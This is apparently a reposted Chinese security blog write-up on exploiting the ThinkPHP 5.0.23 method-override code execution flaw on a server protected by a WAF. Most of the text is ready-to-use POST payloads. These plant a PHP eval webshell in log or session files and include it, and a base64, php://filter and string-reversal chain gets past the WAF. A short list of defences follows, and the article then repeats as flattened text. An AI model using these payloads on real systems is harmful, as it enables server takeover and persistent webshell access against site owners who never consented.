记一次有趣的tp5代码执行
字数 1241 2025-08-26 22:11:40

ThinkPHP 5 Method代码执行漏洞分析与利用

0x00 漏洞概述

本文详细分析ThinkPHP 5.0.23版本中存在的Method代码执行漏洞,该漏洞允许攻击者通过精心构造的请求在目标服务器上执行任意PHP代码。

0x01 漏洞环境信息

  • 受影响版本: ThinkPHP 5.0.23
  • PHP版本: 7.1.7
  • WAF限制:
    • 拦截PHP标记: <?php, <?=, <?
    • 拦截函数: base64_decode, file_get_contents, convert_uuencode
    • 拦截关键字: php://
  • disable_functions:
    passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,
    proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,
    readlink,symlink,popepassthru,stream_socket_server
    

0x02 基础利用方法

初始Payload

POST /?s=captcha
_method=__construct&method=get&filter[]=assert&server[]=1&get[]=1

常见利用思路

  1. 写日志+包含日志Getshell

    • 写shell进日志:
      _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
      
    • 通过日志包含getshell:
      _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
      
  2. 写Session+包含SessionGetshell

    • 写shell进session:
      POST /?s=captcha
      Cookie: PHPSESSID=kking
      _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
      
    • 包含session getshell:
      POST /?s=captcha
      _method=__construct&method=get&filter[]=think\__include_file&get[]=tmp\sess_kking&server[]=1
      

0x03 WAF绕过技术

由于WAF拦截了<?php等关键字,需要使用编码和伪协议技术绕过。

Base64编码与php://filter伪协议

  1. Session文件内容示例:

    PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+
    

    解码后:

    <?php @eval($_GET['r']);;?>
    
  2. 包含方式:

    include('php://filter/read=convert.base64-decode/resource=/tmp/sess_kking');
    

本地测试Payload

  1. 设置Session:

    POST /?s=captcha
    _method=__construct&filter[]=think\Session::set&method=get&get[]=adPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1
    
    • %2b+的URL编码
    • 前后添加ab是为了满足base64解码长度要求
  2. 包含执行:

    POST /?s=captcha&r=cGhwaW5mbygpOw==
    _method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
    

0x04 技术细节分析

为什么使用特定Payload格式

  1. 不使用标准Base64编码的PHP代码:

    • 直接使用PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4=无法正常解码
    • 改用PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+(多一个分号)
  2. 多层编码原因:

    • 第一层: 原始PHP代码
    • 第二层: Base64编码绕过WAF
    • 第三层: 使用strrev反转字符串绕过php://关键字检测

filterValue方法分析

ThinkPHP的filterValue方法可以接受多个filter,对value进行多次处理:

  1. 先使用strrev反转字符串
  2. 再使用think\__include_file包含文件

0x05 完整利用步骤

  1. 设置Session:

    POST /?s=captcha
    Cookie: PHPSESSID=kktest
    _method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1
    
  2. 文件包含执行:

    POST /?s=captcha&r=cGhwaW5mbygpOw==
    _method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
    

0x06 防御建议

  1. 升级ThinkPHP到最新版本
  2. 严格过滤用户输入,特别是_methodmethodfilter参数
  3. 禁用危险的PHP函数
  4. 配置WAF规则拦截可疑的请求特征
  5. 限制文件包含操作,特别是对session文件的包含

0x07 总结

该漏洞利用ThinkPHP框架的Method参数处理机制,通过精心构造的filter链实现代码执行。在存在WAF限制的情况下,通过Base64编码、字符串反转和多层filter处理等技术成功绕过防护措施。这种漏洞利用方式展示了现代Web应用安全攻防的复杂性。

ThinkPHP 5 Method代码执行漏洞分析与利用 0x00 漏洞概述 本文详细分析ThinkPHP 5.0.23版本中存在的Method代码执行漏洞,该漏洞允许攻击者通过精心构造的请求在目标服务器上执行任意PHP代码。 0x01 漏洞环境信息 受影响版本 : ThinkPHP 5.0.23 PHP版本 : 7.1.7 WAF限制 : 拦截PHP标记: <?php , <?= , <? 拦截函数: base64_decode , file_get_contents , convert_uuencode 拦截关键字: php:// disable_ functions : 0x02 基础利用方法 初始Payload 常见利用思路 写日志+包含日志Getshell 写shell进日志: 通过日志包含getshell: 写Session+包含SessionGetshell 写shell进session: 包含session getshell: 0x03 WAF绕过技术 由于WAF拦截了 <?php 等关键字,需要使用编码和伪协议技术绕过。 Base64编码与php://filter伪协议 Session文件内容示例 : 解码后: 包含方式 : 本地测试Payload 设置Session : %2b 是 + 的URL编码 前后添加 ab 是为了满足base64解码长度要求 包含执行 : 0x04 技术细节分析 为什么使用特定Payload格式 不使用标准Base64编码的PHP代码 : 直接使用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= 无法正常解码 改用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ (多一个分号) 多层编码原因 : 第一层: 原始PHP代码 第二层: Base64编码绕过WAF 第三层: 使用 strrev 反转字符串绕过 php:// 关键字检测 filterValue方法分析 ThinkPHP的 filterValue 方法可以接受多个filter,对value进行多次处理: 先使用 strrev 反转字符串 再使用 think\__include_file 包含文件 0x05 完整利用步骤 设置Session : 文件包含执行 : 0x06 防御建议 升级ThinkPHP到最新版本 严格过滤用户输入,特别是 _method 、 method 和 filter 参数 禁用危险的PHP函数 配置WAF规则拦截可疑的请求特征 限制文件包含操作,特别是对session文件的包含 0x07 总结 该漏洞利用ThinkPHP框架的Method参数处理机制,通过精心构造的filter链实现代码执行。在存在WAF限制的情况下,通过Base64编码、字符串反转和多层filter处理等技术成功绕过防护措施。这种漏洞利用方式展示了现代Web应用安全攻防的复杂性。